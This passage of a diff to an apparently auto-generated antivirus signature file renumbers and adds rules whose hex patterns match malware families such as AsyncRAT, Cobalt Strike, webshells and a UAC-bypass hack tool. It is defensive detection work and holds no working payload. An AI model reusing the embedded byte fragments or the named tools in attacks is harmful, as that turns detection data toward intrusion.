61 6e 3a 4d 53 49 4c 2f 57 65 62 73 68 65 6c 6c 2e 45 41 46 46 21 4d 54 42 00 05 00 47 01 04 03 07 6f 06 00 00 0a 6f 07 00 00 0a 0c 08 15 2e 15 06 05 08 6f 06 00 00 0a 8c 0d 00 00 01 28 08 00 00 0a 0a 2b 13 06 03 07 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=5 - -} -rule _InfrastructureShared_7558{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 57 65 62 73 68 65 6c 6c 2e 45 41 46 46 21 4d 54 42 00 05 00 47 01 04 03 07 6f 06 00 00 0a 6f 07 00 00 0a 0c 08 15 2e 15 06 05 08 6f 06 00 00 0a 8c 12 00 00 01 28 08 00 00 0a 0a 2b 13 06 03 07 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=5 - -} -rule _InfrastructureShared_7559{ +rule _InfrastructureShared_7987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -79573,7 +84120,33 @@ rule _InfrastructureShared_7559{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_7560{ +rule _InfrastructureShared_7988{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 4f 70 74 69 6d 69 7a 65 72 50 72 6f 00 02 00 19 80 01 74 6f 74 61 6c 70 63 63 61 72 65 2e 63 6f 6d 2f 6c 69 76 65 2d 63 68 61 74 01 00 0c 80 01 61 76 71 74 6f 6f 6c 73 2e 63 6f 6d 01 00 0d 80 01 55 73 61 67 65 53 74 61 74 2e 69 6e 69 01 } //20515 + $a_01_1 = {52 65 63 65 69 76 65 4c 69 6e 6b 53 70 65 65 64 00 00 78 77 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 50 6c 61 79 61 6e 65 78 74 00 02 00 09 80 01 50 6c 61 79 61 4e 65 78 74 01 00 19 80 01 50 44 46 53 75 69 74 65 32 30 32 31 49 6e 73 74 61 6c 6c 65 72 2e 70 64 62 01 00 16 80 01 6f 70 74 69 6f 6e 61 6c 2d 6f 66 66 65 72 2d 63 6f 6e 73 65 6e 74 01 00 0d 80 01 6f 70 } //4096 + $a_6e_2 = {6c 6f 66 66 65 72 00 00 78 77 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 52 6f 62 69 64 65 6f 2e 43 21 64 68 61 00 01 00 06 01 44 45 41 4d 4f 4e 01 00 0b 01 5c 64 65 61 6d 6f 6e 2e 7a 69 70 01 00 0d 01 5c 72 65 67 73 76 72 33 32 2e 65 78 65 01 00 09 01 73 73 6c 33 } //26996 + $a_6c_3 = {01 00 09 01 73 73 6c 36 34 2e 64 6c 6c 00 00 78 77 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4f 70 65 6e 43 61 6e 64 79 00 01 00 0d 80 01 6f 70 65 6e 63 61 6e 64 79 2e 63 6f 6d 01 00 0a 80 01 67 65 74 5f 6f 66 66 65 72 73 01 00 0c 80 01 4f 66 66 65 72 53 6b 69 70 70 65 64 01 00 0f } //11826 + condition: + ((#a_41_0 & 1)*20515+(#a_01_1 & 1)*4096+(#a_6e_2 & 1)*26996+(#a_6c_3 & 1)*11826) >=5 + +} +rule _InfrastructureShared_7989{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 50 6c 61 79 61 6e 65 78 74 00 02 00 09 80 01 50 6c 61 79 61 4e 65 78 74 01 00 19 80 01 50 44 46 53 75 69 74 65 32 30 32 31 49 6e 73 74 61 6c 6c 65 72 2e 70 64 62 01 00 16 80 01 6f 70 74 69 6f 6e 61 6c 2d 6f 66 66 65 72 2d 63 6f 6e 73 65 } //20515 + $a_00_1 = {0d } //29806 + $a_70_2 = {69 6f 6e 61 6c 6f 66 66 65 72 00 00 78 77 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 52 6f 62 69 64 65 6f 2e 43 21 64 68 61 00 01 00 06 01 44 45 41 4d 4f 4e 01 00 0b 01 5c 64 65 61 6d 6f 6e 2e 7a 69 70 01 00 0d 01 5c 72 65 67 73 76 72 33 32 2e 65 78 65 01 00 09 01 } //384 + $a_33_3 = {2e 64 6c 6c 01 00 09 01 73 73 6c 36 34 2e 64 6c 6c 00 00 78 77 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4f 70 65 6e 43 61 6e 64 79 00 01 00 0d 80 01 6f 70 65 6e 63 61 6e 64 79 2e 63 6f 6d 01 00 0a 80 01 67 65 74 5f 6f 66 66 65 72 73 01 00 0c 80 01 4f 66 66 65 72 53 6b 69 70 70 65 64 01 00 0f 80 01 63 69 } //29555 + condition: + ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*29806+(#a_70_2 & 1)*384+(#a_33_3 & 1)*29555) >=5 + +} +rule _InfrastructureShared_7990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -79587,7 +84160,7 @@ rule _InfrastructureShared_7560{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*30821+(#a_69_2 & 1)*21362+(#a_4b_3 & 1)*16672+(#a_61_4 & 1)*28530) >=5 } -rule _InfrastructureShared_7561{ +rule _InfrastructureShared_7991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -79600,7 +84173,7 @@ rule _InfrastructureShared_7561{ ((#a_41_0 & 1)*20515+(#a_43_2 & 1)*384+(#a_63_3 & 1)*8267+(#a_18_4 & 1)*2560) >=5 } -rule _InfrastructureShared_7562{ +rule _InfrastructureShared_7992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -79612,7 +84185,7 @@ rule _InfrastructureShared_7562{ ((#a_6e_0 & 1)*22307+(#a_77_1 & 1)*0+(#a_00_3 & 1)*10) >=6 } -rule _InfrastructureShared_7563{ +rule _InfrastructureShared_7993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -79622,7 +84195,7 @@ rule _InfrastructureShared_7563{ ((#a_46_0 & 1)*16675) >=7 } -rule _InfrastructureShared_7564{ +rule _InfrastructureShared_7994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -79632,7 +84205,7 @@ rule _InfrastructureShared_7564{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7565{ +rule _InfrastructureShared_7995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -79643,19 +84216,19 @@ rule _InfrastructureShared_7565{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*18227) >=10 } -rule _InfrastructureShared_7566{ +rule _InfrastructureShared_7996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " strings : $a_5f_0 = {75 6c 6e 44 72 69 76 65 72 2e 47 69 67 61 62 79 74 65 00 0a 00 30 01 66 3a 5c 79 63 63 5c 67 64 72 76 36 34 5c 6f 62 6a 66 72 65 5f 77 6e 65 74 5f 41 4d 44 36 34 5c 61 6d 64 36 34 5c 67 64 72 76 36 34 2e 70 64 62 0a 00 0f 01 5c 44 } //16931 $a_65_1 = {69 63 65 73 5c 47 49 4f 0a 00 0b 01 5c 44 65 76 69 63 65 5c 47 49 4f 00 00 78 77 00 00 0b 00 0b 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4c 4c 48 } //29551 - $a_42_2 = {0a 00 32 03 73 14 00 00 0a 13 04 11 04 09 17 73 15 00 00 0a 13 05 11 05 02 16 02 8e 69 6f 90 01 01 00 00 0a 11 04 6f 90 01 01 00 00 0a 10 00 16 2d f4 de 1b 90 00 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 77 00 00 0c 00 0c 00 04 } //19745 + $a_42_2 = {0a 00 32 03 73 14 00 00 0a 13 04 11 04 09 17 73 15 00 00 0a 13 05 11 05 02 16 02 8e 69 6f 90 01 01 00 00 0a 11 04 6f 90 01 01 00 00 0a 10 00 16 2d f4 de 1b 90 00 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 77 00 00 0b 00 0b 00 02 } //19745 condition: ((#a_5f_0 & 1)*16931+(#a_65_1 & 1)*29551+(#a_42_2 & 1)*19745) >=10 } -rule _InfrastructureShared_7567{ +rule _InfrastructureShared_7997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -79665,7 +84238,17 @@ rule _InfrastructureShared_7567{ ((#a_46_0 & 1)*16675) >=11 } -rule _InfrastructureShared_7568{ +rule _InfrastructureShared_7998{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 43 72 79 70 74 69 6e 6a 65 63 74 2e 51 45 21 4d 54 42 00 0a 00 37 03 0a 72 01 00 00 70 72 23 00 00 70 6f 90 01 03 0a 28 90 01 03 0a 6f 90 01 03 0a 6f 90 01 03 0a de 03 26 de 00 2a 90 09 0f 00 02 28 90 01 03 0a 28 90 01 03 0a 6f 90 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=11 + +} +rule _InfrastructureShared_7999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -79678,7 +84261,7 @@ rule _InfrastructureShared_7568{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*27746+(#a_02_2 & 1)*-31555+(#a_50_3 & 1)*-32501) >=12 } -rule _InfrastructureShared_7569{ +rule _InfrastructureShared_8000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -79689,7 +84272,7 @@ rule _InfrastructureShared_7569{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-31996) >=15 } -rule _InfrastructureShared_7570{ +rule _InfrastructureShared_8001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -79701,7 +84284,7 @@ rule _InfrastructureShared_7570{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29283+(#a_20_2 & 1)*16709) >=30 } -rule _InfrastructureShared_7571{ +rule _InfrastructureShared_8002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -79713,7 +84296,7 @@ rule _InfrastructureShared_7571{ ((#a_46_0 & 1)*16675+(#a_20_2 & 1)*19969+(#a_45_3 & 1)*-9) >=400 } -rule _InfrastructureShared_7572{ +rule _InfrastructureShared_8003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79723,7 +84306,7 @@ rule _InfrastructureShared_7572{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7573{ +rule _InfrastructureShared_8004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79733,7 +84316,7 @@ rule _InfrastructureShared_7573{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7574{ +rule _InfrastructureShared_8005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79743,7 +84326,17 @@ rule _InfrastructureShared_7574{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7575{ +rule _InfrastructureShared_8006{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 55 41 43 4d 65 2e 42 21 64 68 61 00 01 00 4b 43 33 c9 41 b8 04 01 00 00 90 02 10 c7 44 24 90 01 01 3a 00 5c 00 c7 44 24 90 01 01 6d 00 79 00 c7 44 24 90 01 01 61 00 70 00 c7 44 24 90 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_8007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79753,7 +84346,7 @@ rule _InfrastructureShared_7575{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7576{ +rule _InfrastructureShared_8008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79763,7 +84356,7 @@ rule _InfrastructureShared_7576{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7577{ +rule _InfrastructureShared_8009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79773,7 +84366,7 @@ rule _InfrastructureShared_7577{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7578{ +rule _InfrastructureShared_8010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79783,7 +84376,7 @@ rule _InfrastructureShared_7578{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7579{ +rule _InfrastructureShared_8011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79793,7 +84386,7 @@ rule _InfrastructureShared_7579{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7580{ +rule _InfrastructureShared_8012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79803,7 +84396,7 @@ rule _InfrastructureShared_7580{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7581{ +rule _InfrastructureShared_8013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79813,7 +84406,7 @@ rule _InfrastructureShared_7581{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7582{ +rule _InfrastructureShared_8014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79823,7 +84416,7 @@ rule _InfrastructureShared_7582{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7583{ +rule _InfrastructureShared_8015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79833,7 +84426,17 @@ rule _InfrastructureShared_7583{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7584{ +rule _InfrastructureShared_8016{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 57 69 6e 65 6c 6f 61 64 65 72 2e 42 21 64 68 61 00 01 00 43 03 48 83 ec 18 88 54 24 17 48 89 4c 24 08 48 c7 04 24 00 00 00 00 48 83 3c 24 90 01 01 73 1e 8a 54 24 17 48 8b 44 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_8017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79843,7 +84446,7 @@ rule _InfrastructureShared_7584{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7585{ +rule _InfrastructureShared_8018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79853,7 +84456,7 @@ rule _InfrastructureShared_7585{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7586{ +rule _InfrastructureShared_8019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79863,7 +84466,7 @@ rule _InfrastructureShared_7586{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7587{ +rule _InfrastructureShared_8020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79873,7 +84476,7 @@ rule _InfrastructureShared_7587{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7588{ +rule _InfrastructureShared_8021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79883,7 +84486,7 @@ rule _InfrastructureShared_7588{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7589{ +rule _InfrastructureShared_8022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79893,7 +84496,7 @@ rule _InfrastructureShared_7589{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7590{ +rule _InfrastructureShared_8023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79903,7 +84506,7 @@ rule _InfrastructureShared_7590{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7591{ +rule _InfrastructureShared_8024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79913,7 +84516,7 @@ rule _InfrastructureShared_7591{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7592{ +rule _InfrastructureShared_8025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79923,7 +84526,7 @@ rule _InfrastructureShared_7592{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7593{ +rule _InfrastructureShared_8026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79933,7 +84536,7 @@ rule _InfrastructureShared_7593{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7594{ +rule _InfrastructureShared_8027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79943,7 +84546,7 @@ rule _InfrastructureShared_7594{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7595{ +rule _InfrastructureShared_8028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79953,7 +84556,7 @@ rule _InfrastructureShared_7595{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7596{ +rule _InfrastructureShared_8029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -79964,7 +84567,7 @@ rule _InfrastructureShared_7596{ ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*-18929) >=1 } -rule _InfrastructureShared_7597{ +rule _InfrastructureShared_8030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -79975,7 +84578,7 @@ rule _InfrastructureShared_7597{ ((#a_6b_0 & 1)*17955+(#a_7e_1 & 1)*-28779) >=1 } -rule _InfrastructureShared_7598{ +rule _InfrastructureShared_8031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -79986,7 +84589,7 @@ rule _InfrastructureShared_7598{ ((#a_6b_0 & 1)*17955+(#a_a1_1 & 1)*-1470) >=1 } -rule _InfrastructureShared_7599{ +rule _InfrastructureShared_8032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -79997,7 +84600,7 @@ rule _InfrastructureShared_7599{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*29793) >=1 } -rule _InfrastructureShared_7600{ +rule _InfrastructureShared_8033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -80008,7 +84611,7 @@ rule _InfrastructureShared_7600{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*-10729) >=1 } -rule _InfrastructureShared_7601{ +rule _InfrastructureShared_8034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -80019,7 +84622,7 @@ rule _InfrastructureShared_7601{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-28546) >=1 } -rule _InfrastructureShared_7602{ +rule _InfrastructureShared_8035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -80029,19 +84632,19 @@ rule _InfrastructureShared_7602{ ((#a_72_0 & 1)*22051) >=1 } -rule _InfrastructureShared_7603{ +rule _InfrastructureShared_8036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 4e 69 76 64 6f 72 74 2e 41 47 21 44 65 63 72 79 70 74 00 01 00 15 03 0f b6 14 39 32 d0 88 16 0f b6 87 90 01 03 00 88 46 01 47 90 00 01 00 1a 03 8a 44 18 01 83 c3 02 30 46 01 90 02 10 f2 0f 90 02 10 f2 0f 90 02 10 0f 90 00 01 00 1b 03 0f b6 14 38 } //18467 $a_84_1 = {90 02 10 88 04 0e 90 02 10 0f b6 90 02 10 32 d0 90 00 00 00 78 78 00 00 01 00 01 00 03 00 21 23 53 4c 46 50 45 52 3a 43 6f 62 42 65 61 63 6f 6e 2e 58 6f 72 00 01 00 18 03 e8 00 00 00 00 eb 27 90 01 20 74 02 eb ea 90 01 01 ff 90 01 01 e8 90 00 01 00 18 03 e8 00 00 00 00 eb 2b 90 01 24 74 02 eb e8 90 01 01 ff 90 01 01 e8 90 00 01 00 1d 03 48 83 e4 f0 eb 33 5d 90 01 26 74 02 eb e7 90 01 01 fc 48 83 e4 f0 ff 90 01 } //5680 - $a_00_2 = {00 00 78 78 00 00 01 00 01 00 04 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 44 50 21 44 65 63 72 79 70 74 00 01 00 11 03 32 0c 33 88 0a 90 02 20 d9 1d 90 02 20 dd 05 90 00 01 00 11 03 32 0c 2e 88 0a 90 02 20 d9 05 90 02 10 d9 1d 90 00 01 00 11 03 32 0c 33 88 0a 90 02 20 d9 05 90 02 20 d9 1d 90 00 01 00 13 03 32 54 35 01 89 7c 24 90 02 20 d9 05 90 02 20 d9 1d 90 00 00 00 78 78 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 } //-6143 + $a_00_2 = {00 00 78 78 00 00 01 00 01 00 04 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 44 50 21 44 65 63 72 79 70 74 00 01 00 11 03 32 0c 33 88 0a 90 02 20 d9 1d 90 02 20 dd 05 90 00 01 00 11 03 32 0c 2e 88 0a 90 02 20 d9 05 90 02 10 d9 1d 90 00 01 00 11 03 32 0c 33 88 0a 90 02 20 d9 05 90 02 20 d9 1d 90 00 01 00 13 03 32 54 35 01 89 7c 24 90 02 20 d9 05 90 02 20 d9 1d 90 00 00 00 78 78 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 } //-6143 condition: ((#a_54_0 & 1)*18467+(#a_84_1 & 1)*5680+(#a_00_2 & 1)*-6143) >=1 } -rule _InfrastructureShared_7604{ +rule _InfrastructureShared_8037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -80053,20 +84656,30 @@ rule _InfrastructureShared_7604{ ((#a_46_0 & 1)*21283+(#a_e4_1 & 1)*18435+(#a_89_2 & 1)*13652) >=1 } -rule _InfrastructureShared_7605{ +rule _InfrastructureShared_8038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_54_0 = {3a 4e 69 76 64 6f 72 74 2e 44 50 21 44 65 63 72 79 70 74 00 01 00 11 03 32 0c 33 88 0a [0-20] d9 1d [0-20] dd 05 90 00 01 00 11 03 32 0c 2e 88 0a [0-20] d9 05 [0-10] d9 1d 90 00 01 00 11 03 32 0c 33 88 0a [0-20] d9 05 [0-20] d9 1d } //18467 $a_03_1 = {32 54 35 01 89 7c 24 [0-20] d9 05 [0-20] d9 1d } //1 - $a_78_2 = {00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 65 72 44 6c 6c 2e 53 30 31 00 01 00 23 03 43 72 79 70 74 65 72 90 02 10 5a 4c 69 62 45 78 90 02 10 57 69 6e 61 70 69 2e 57 69 6e 64 6f 77 73 90 00 01 00 1e 03 45 6e 63 72 79 70 74 90 02 10 41 45 53 5f 43 54 52 90 02 10 41 45 53 5f 45 6e 63 72 90 00 00 } //0 - $a_00_3 = {00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 42 44 21 4d 54 42 00 01 00 1d 03 89 c2 44 89 c3 c1 ea 90 01 01 c1 eb 90 01 01 83 e2 90 01 01 45 8b 0c 93 44 89 c2 90 00 01 00 24 03 89 cb 45 8b 0c 93 89 ca c1 eb 90 01 01 c1 e2 90 01 01 31 da 41 01 c1 01 ca 44 31 ca 41 29 d0 85 c0 75 90 00 00 } //30720 + $a_78_2 = {00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 53 4c 50 49 21 4d 54 42 00 02 00 48 03 25 26 0a 20 55 f6 01 00 28 90 01 01 00 00 06 25 26 0b 02 06 28 31 00 00 0a 25 26 07 28 6f 00 00 06 25 26 0c 28 90 01 01 00 00 0a 25 26 08 6f 90 01 01 00 00 0a 25 26 14 20 58 f6 01 00 28 90 01 01 00 00 06 25 26 90 00 00 } //0 + $a_00_3 = {00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 65 72 44 6c 6c 2e 53 30 31 00 01 00 23 03 43 72 79 70 74 65 72 90 02 10 5a 4c 69 62 45 78 90 02 10 57 69 6e 61 70 69 2e 57 69 6e 64 6f 77 73 90 00 01 00 1e 03 45 6e 63 72 79 70 74 90 02 10 41 45 53 5f 43 54 52 90 02 10 41 45 53 5f 45 6e 63 72 90 00 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*1+(#a_78_2 & 1)*0+(#a_00_3 & 1)*30720) >=1 } -rule _InfrastructureShared_7606{ +rule _InfrastructureShared_8039{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 53 4c 50 49 21 4d 54 42 00 02 00 48 03 25 26 0a 20 55 f6 01 00 28 90 01 01 00 00 06 25 26 0b 02 06 28 31 00 00 0a 25 26 07 28 6f 00 00 06 25 26 0c 28 90 01 01 00 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_8040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80077,29 +84690,18 @@ rule _InfrastructureShared_7606{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28229) >=2 } -rule _InfrastructureShared_7607{ +rule _InfrastructureShared_8041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 42 44 21 4d 54 42 00 01 00 1d 03 89 c2 44 89 c3 c1 ea 90 01 01 c1 eb 90 01 01 83 e2 90 01 01 45 8b 0c 93 44 89 c2 90 00 01 00 24 03 89 cb 45 8b 0c 93 } //16675 - $a_eb_1 = {01 01 c1 e2 90 01 01 31 da 41 01 c1 01 ca 44 31 ca 41 29 d0 85 c0 75 90 00 00 00 78 78 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 69 6c 76 65 72 42 61 73 6b 65 74 2e 41 21 64 68 61 00 01 00 20 80 01 43 3a 5c 50 72 